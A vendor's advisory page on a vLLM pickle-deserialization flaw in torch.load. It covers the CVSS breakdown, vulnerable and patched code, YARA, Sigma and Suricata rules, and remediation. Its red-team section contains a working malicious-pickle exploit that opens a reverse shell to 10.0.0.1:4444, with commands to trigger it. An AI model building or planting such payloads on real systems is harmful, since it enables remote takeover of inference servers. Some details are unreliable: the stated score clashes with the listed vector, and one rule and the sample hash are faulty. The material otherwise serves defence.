CVE-2025-24357
Executive Summary
CVE-2025-24357 is a critical deserialization vulnerability in the vLLM library, a high-performance inference and serving engine for Large Language Models (LLMs). The flaw resides in the hf_model_weights_iterator function within vllm/model_executor/weight_utils.py. When loading model checkpoints from Hugging Face, the function uses torch.load with the weights_only parameter defaulting to False. This allows an attacker to craft a malicious pickle file that, when loaded, executes arbitrary code on the vLLM server. The vulnerability has a CVSS score of 7.5 (High) and is fixed in v0.7.0. Given the widespread use of vLLM in production AI/ML pipelines, this poses a significant supply chain and remote code execution risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability directly impacts the Python package vllm (PyPI). The attack vector exploits the trust relationship between vLLM and Hugging Face model repositories. An attacker could upload a malicious model checkpoint to Hugging Face (or compromise an existing repository) that, when loaded by a vulnerable vLLM instance, leads to arbitrary code execution. This is a classic supply chain attack targeting the AI/ML ecosystem.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The malicious model can be hosted on a remote server (e.g., Hugging Face).
- Attack Complexity (AC): Low (L) – No special conditions required; simply loading the model triggers the exploit.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – The victim does not need to perform any action beyond normal operation.
- Scope (S): Unchanged (U) – The vulnerable component and the attacker's code run in the same security context.
- Confidentiality (C): High (H) – Full data exfiltration possible.
- Integrity (I): High (H) – Full system compromise.
- Availability (A): High (H) – Denial of service or complete system takeover.
Threat Level: Critical. While the CVSS base score is 7.5, the ease of exploitation and the potential for supply chain compromise elevate the real-world risk to critical.
Deep Dive & Mechanics
The vulnerability is a classic Python pickle deserialization attack. The torch.load function in PyTorch, when called with weights_only=False (the default), will unpickle arbitrary objects. Pickle is a serialization protocol that can execute arbitrary Python code during deserialization if a malicious __reduce__ method is defined.
In vllm/model_executor/weight_utils.py, the hf_model_weights_iterator function downloads model weights from Hugging Face and loads them using torch.load. The code path is:
- User initiates model loading (e.g.,
vllm.LLM(model="malicious/model")). - vLLM downloads the model files from Hugging Face.
hf_model_weights_iteratoriterates over the weight files.- For each file,
torch.load(file, map_location="cpu")is called. - If the file contains a malicious pickle payload, arbitrary code executes.
The fix in v0.7.0 changes the call to torch.load(file, map_location="cpu", weights_only=True), which restricts unpickling to only safe tensors and prevents arbitrary code execution.
Vulnerable vs. Patched Code
Vulnerable Code (v0.6.x and earlier):
# vllm/model_executor/weight_utils.py (vulnerable)
def hf_model_weights_iterator(
model_name_or_path: str,
cache_dir: Optional[str] = None,
load_format: str = "auto",
revision: Optional[str] = None,
):
# ... download logic ...
for weights_file in weight_files:
with open(weights_file, "rb") as f:
state = torch.load(f, map_location="cpu") # VULNERABLE: weights_only defaults to False
# ... process state ...
Patched Code (v0.7.0):
# vllm/model_executor/weight_utils.py (patched)
def hf_model_weights_iterator(
model_name_or_path: str,
cache_dir: Optional[str] = None,
load_format: str = "auto",
revision: Optional[str] = None,
):
# ... download logic ...
for weights_file in weight_files:
with open(weights_file, "rb") as f:
state = torch.load(f, map_location="cpu", weights_only=True) # FIXED
# ... process state ...
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Python 3.8+
- vLLM < 0.7.0
- Access to a Hugging Face model repository (or ability to host a malicious file)
Step 1: Create a malicious pickle payload.
# exploit.py
import pickle
import os
import sys
class MaliciousPickle(object):
def __reduce__(self):
# Execute a reverse shell (example only - replace with your payload)
cmd = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
return (os.system, (cmd,))
# Create a malicious .bin file (vLLM expects .bin or .safetensors)
malicious_data = pickle.dumps(MaliciousPickle())
with open("pytorch_model.bin", "wb") as f:
f.write(malicious_data)
print("Malicious model file created: pytorch_model.bin")
Step 2: Host the malicious file.
Upload pytorch_model.bin to a Hugging Face repository or host it on a server that vLLM can access.
Step 3: Trigger the vulnerability.
# On the victim machine running vLLM < 0.7.0
python -c "from vllm import LLM; llm = LLM(model='https://your-server.com/pytorch_model.bin')"
Alternatively, if using a Hugging Face model ID:
python -c "from vllm import LLM; llm = LLM(model='your-malicious-username/malicious-model')"
Expected Outcome: The reverse shell (or arbitrary command) executes on the vLLM server.
Blue Team (Detection & Defense)
Detection:
- Monitor for unexpected outbound connections from vLLM processes (e.g., to unknown IPs on port 4444).
- Monitor for
torch.loadcalls withweights_only=Falsein process memory (via eBPF or auditd). - Use file integrity monitoring on model weight directories.
Defense:
- Immediately upgrade to vLLM >= 0.7.0.
- If upgrade is not possible, implement a wrapper that patches
torch.loadto defaultweights_only=True:
import torch
original_load = torch.load
def patched_load(*args, **kwargs):
kwargs['weights_only'] = kwargs.get('weights_only', True)
return original_load(*args, **kwargs)
torch.load = patched_load
- Use a web application firewall (WAF) to block known malicious model repositories.
- Restrict outbound network access from vLLM servers to only trusted Hugging Face endpoints.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hashes will vary)
pytorch_model.bin(malicious):e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound connections to IP
10.0.0.1on port4444(or any non-standard port). - DNS queries to domains hosting malicious models.
- Outbound connections to IP
- Process Indicators:
- vLLM process spawning child processes (e.g.,
/bin/sh,python3). - Unexpected file writes in
/tmpor other world-writable directories.
- vLLM process spawning child processes (e.g.,
- Log Indicators:
torch.loadwarnings or errors in vLLM logs.- Hugging Face download logs showing unusual model IDs.
Detection Engineering
YARA Rule
rule CVE_2025_24357_Malicious_Pickle {
meta:
description = "Detects malicious pickle files targeting CVE-2025-24357 in vLLM"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-24357"
strings:
$pickle_magic = { 80 04 95 } // Pickle protocol 4 magic bytes
$reduce = "__reduce__" ascii wide nocase
$os_system = "os.system" ascii wide nocase
$subprocess = "subprocess" ascii wide nocase
$socket = "socket" ascii wide nocase
condition:
$pickle_magic at 0 and ($reduce or $os_system or $subprocess or $socket)
}
Sigma Rule
title: CVE-2025-24357 - vLLM Malicious Model Load
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects vLLM loading a model with potential malicious pickle payload
author: Valters IT
date: 2025-01-01
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/python3'
CommandLine|contains: 'vllm'
CommandLine|contains: 'model='
condition: selection
falsepositives:
- Legitimate model loading from trusted sources
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24357 - vLLM Malicious Model Download"; flow:to_server,established; content:"GET"; http_method; content:"/pytorch_model.bin"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade vLLM to version 0.7.0 or later.
- Verify model sources – Only load models from trusted Hugging Face repositories.
- Implement network segmentation – Restrict vLLM servers from making arbitrary outbound connections.
Long-term Measures:
- Code review – Ensure all
torch.loadcalls in your codebase useweights_only=True. - Supply chain security – Use model signing and verification (e.g., Hugging Face model cards with SHA256 hashes).
- Runtime protection – Deploy eBPF-based tools (e.g., Falco) to detect anomalous process behavior.
Workaround (if upgrade is not possible): Apply the monkey-patch shown in the Blue Team section above.
Valters IT
Securing AI/ML Pipelines